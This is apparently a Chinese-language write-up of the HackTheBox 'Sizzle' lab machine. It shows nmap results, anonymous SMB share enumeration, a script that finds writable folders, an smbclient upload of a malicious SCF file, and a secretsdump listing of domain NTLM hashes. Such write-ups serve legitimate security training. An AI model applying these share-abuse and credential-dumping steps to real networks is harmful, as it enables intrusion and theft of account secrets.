PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack ttl 127 Microsoft ftpd |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: |_ SYST: Windows_NT 53/tcp open domain syn-ack ttl 127 Simple DNS Plus 80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0 |_http-title: Site doesn't have a title (text/html). |_http-server-header: Microsoft-IIS/10.0 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name) |_ssl-date: 2024-12-29T02:58:52+00:00; +1s from scanner time. | ssl-cert: Subject: commonName=sizzle.htb.local | Issuer: commonName=HTB-SIZZLE-CA/domainComponent=HTB | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2018-07-03T17:58:55 | Not valid after: 2020-07-02T17:58:55 | MD5: 240b:1eff:5a65:ad8d:c64d:855e:aeb5:9e6b | SHA-1: 77bb:3f67:1b6b:3e09:b8f9:6503:ddc1:0bbf:0b75:0c72 | -----BEGIN CERTIFICATE----- | MIIFPTCCBCWgAwIBAgITaQAAAAXvru32D6T3IQAAAAAABTANBgkqhkiG9w0BAQsF | ... a lot of stuffs |_-----END CERTIFICATE----- 443/tcp open ssl/http syn-ack ttl 127 Microsoft IIS httpd 10.0 | ssl-cert: Subject: commonName=sizzle.htb.local | Issuer: commonName=HTB-SIZZLE-CA/domainComponent=HTB | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2018-07-03T17:58:55 | Not valid after: 2020-07-02T17:58:55 | MD5: 240b:1eff:5a65:ad8d:c64d:855e:aeb5:9e6b | SHA-1: 77bb:3f67:1b6b:3e09:b8f9:6503:ddc1:0bbf:0b75:0c72 | -----BEGIN CERTIFICATE----- | MIIFPTCCBCWgAwIBAgITaQAAAAXvru32D6T3IQAAAAAABTANBgkqhkiG9w0BAQsF | ... a lot of stuffs |_-----END CERTIFICATE----- | tls-alpn: | h2 |_ http/1.1 |_http-server-header: Microsoft-IIS/10.0 |_ssl-date: 2024-12-29T02:58:51+00:00; 0s from scanner time. | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-title: Site doesn't have a title (text/html). 445/tcp open microsoft-ds? syn-ack ttl 127 464/tcp open kpasswd5? syn-ack ttl 127 593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name) |_ssl-date: 2024-12-29T02:58:51+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=sizzle.htb.local | Issuer: commonName=HTB-SIZZLE-CA/domainComponent=HTB | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2018-07-03T17:58:55 | Not valid after: 2020-07-02T17:58:55 | MD5: 240b:1eff:5a65:ad8d:c64d:855e:aeb5:9e6b | SHA-1: 77bb:3f67:1b6b:3e09:b8f9:6503:ddc1:0bbf:0b75:0c72 | -----BEGIN CERTIFICATE----- | MIIFPTCCBCWgAwIBAgITaQAAAAXvru32D6T3IQAAAAAABTANBgkqhkiG9w0BAQsF | ... a lot of stuffs |_-----END CERTIFICATE----- 3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name) |_ssl-date: 2024-12-29T02:58:52+00:00; +1s from scanner time. | ssl-cert: Subject: commonName=sizzle.htb.local | Issuer: commonName=HTB-SIZZLE-CA/domainComponent=HTB | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2018-07-03T17:58:55 | Not valid after: 2020-07-02T17:58:55 | MD5: 240b:1eff:5a65:ad8d:c64d:855e:aeb5:9e6b | SHA-1: 77bb:3f67:1b6b:3e09:b8f9:6503:ddc1:0bbf:0b75:0c72 | -----BEGIN CERTIFICATE----- | MIIFPTCCBCWgAwIBAgITaQAAAAXvru32D6T3IQAAAAAABTANBgkqhkiG9w0BAQsF | ... a lot of stuffs |_-----END CERTIFICATE----- 3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name) |_ssl-date: 2024-12-29T02:58:51+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=sizzle.htb.local | Issuer: commonName=HTB-SIZZLE-CA/domainComponent=HTB | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2018-07-03T17:58:55 | Not valid after: 2020-07-02T17:58:55 | MD5: 240b:1eff:5a65:ad8d:c64d:855e:aeb5:9e6b | SHA-1: 77bb:3f67:1b6b:3e09:b8f9:6503:ddc1:0bbf:0b75:0c72 | -----BEGIN CERTIFICATE----- | MIIFPTCCBCWgAwIBAgITaQAAAAXvru32D6T3IQAAAAAABTANBgkqhkiG9w0BAQsF | ... a lot of stuffs |_-----END CERTIFICATE----- 9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing 49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49670/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49676/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49690/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 49691/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49693/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49696/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49708/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 58437/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 58456/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
一台有開 smb, ldap, msrpc 和一個神奇 port 80 的 Windows 主機 獲得域名 HTB.LOCAL 及 sizzle,值得注意的是沒有開 kerberos
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share CertEnroll Disk Active Directory Certificate Services share Department Shares Disk IPC$ IPC Remote IPC NETLOGON Disk Logon server share Operations Disk SYSVOL Disk Logon server share
經檢查,只有 Department Shares 可以造訪並列表 … 利用 mount 抓到自己主機內尋找
1
sudo mount -t cifs -o rw,username=guest,password= '//10.10.10.103/Department Shares' /mnt
接下來用如下腳本尋找可寫的資料夾: find-w.sh
1 2 3 4 5 6 7 8 9 10
#!/bin/bash list=$(find /mnt -type d) for d in$list do touch$d/x 2>/dev/null if [ $? -eq 0 ] then echo$d" is writable" fi done
Result
1 2
/mnt/Users/Public is writable /mnt/ZZ_ARCHIVE is writable
┌──(kali🐳kali)-[~/ctf/hackthebox/sizzle] └─$ smbclient '//10.10.10.103/Department Shares' -N Try "help" to get a list of possible commands. smb: \> cd Users/Public smb: \Users\Public\> put @exp.scf
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:f6b7160bfc91823792e0ac3a162c9267::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:296ec447eee58283143efbd5d39408c8::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: amanda:1104:aad3b435b51404eeaad3b435b51404ee:7d0516ea4b6ed084f3fdf71c47d9beb3::: ... a lot of stuffs